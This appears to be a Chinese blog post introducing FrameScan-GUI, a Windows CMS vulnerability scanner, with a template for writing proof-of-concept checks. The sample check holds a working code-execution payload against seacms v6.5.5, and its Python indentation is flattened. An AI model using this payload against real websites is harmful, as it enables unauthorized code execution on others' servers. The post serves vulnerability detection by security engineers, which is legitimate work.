工具简介

FrameScan-GUI是一款python3和Pyqt编写的具有图形化界面的cms漏洞检测框架,是FrameScan的加强版。支持多种检测方式,支持大多数CMS,可以自定义CMS类型及自行编写POC。旨在帮助有安全经验的安全工程师对已知的应用快速发现漏洞。

Github地址:https://github.com/qianxiao996/FrameScan-GUI

下载地址:https://github.com/qianxiao996/FrameScan-GUI/releases

支持平台

- Windows

使用方法

下载本项目,运行exe即可。

自定义POC模板

以下为POC模板,请尽量规范编写。脚本中为示例代码。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: 漏洞名称(禁止换行)控制在30字以内
referer: 漏洞地址(禁止换行)未知请填unknown
author: 作者名
description: 漏洞描述
'''
import sys
import requests
import warnings
def run(url):
#此处编辑检测代码
#示例代码,请更改result内容,result[0]为漏洞名称,result[1]为返回的内容,result[2]为测试结果
result = ['seacms v6.5.5代码执行漏洞','','']
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
payload = "searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*"
url_path = url + "/search.php?phpinfo();"
try:
data = requests.get(url_path, timeout=3,headers=headers, verify=False)
if data.status_code == 200 and 'phpinfo' in data.text:
result[2]= "存在"
result[1] = "URL:%s\nPOST:%s"%(url_path,payload)
else:
result[2] = "不存在"
except Exception as e:
# print (e)
result[2] ="不存在"
#这里可设置未知,连接超时等,只有不存在不会显示到结果中。
return result
#最后一定要返回一个带有3个参数的列表。不然会出错误。 if __name__ == "__main__":
#此处不会调用
warnings.filterwarnings("ignore")
testVuln = run("http://baidu.com")
print(testVuln)

鸣谢

POC多数来源于[AngelSword]部分为自己编写,欢迎投递POC

邮箱地址:qianxiao996@126.com

警告!

请勿用于非法用途!否则自行承担一切后果

最新文章

  1. string黑科技
  2. iOS-- 快速集成iOS基于RTMP的视频推流
  3. dedecms如何自定义专题模板
  4. Ubuntu 16.04 LTS Final Beta about JAVA
  5. python模拟shell
  6. 一道JAVA经典面试题目的两种解法
  7. [功能帮助类] C#取汉字拼音的首字母PinYin帮助类 (转载)
  8. Git新手入门手册
  9. Windows Mobile 6 sdk installation error, COM3 in use,please check the implementation
  10. UVA1291----Dance Dance Revolution----3维DP
  11. NPM 简单实用说明
  12. webpack 的使用1
  13. 五种js判断是否为整数(转)
  14. Appium简介及工作原理
  15. the security of smart contract- 1
  16. 【剑指offer】从尾到头翻转打印单链表
  17. windows(cr lf )转unix (lf)
  18. java 框架 面试
  19. Deploying Cloud Foundry on OpenStack Juno and XenServer (Part II)
  20. CSS3中的变形与动画(一)

热门文章

  1. Dubbo原理解析(非常透彻)
  2. mock测试出现Circular view path [trade_records]: would dispatch back to the current handler URL
  3. Python内置模块(re+collections+time等模块)
  4. Note - 千年食谱颂
  5. Solution Set - 神奇 NOIP 模拟赛
  6. 关于 share 音乐分享官方文档补充
  7. python中随机生成整数
  8. ☕Java 面向对象进阶内容
  9. Telnet拓展测试--在生产测试场景的应用
  10. PyTorch 中的乘法:mul()、multiply()、matmul()、mm()、mv()、dot()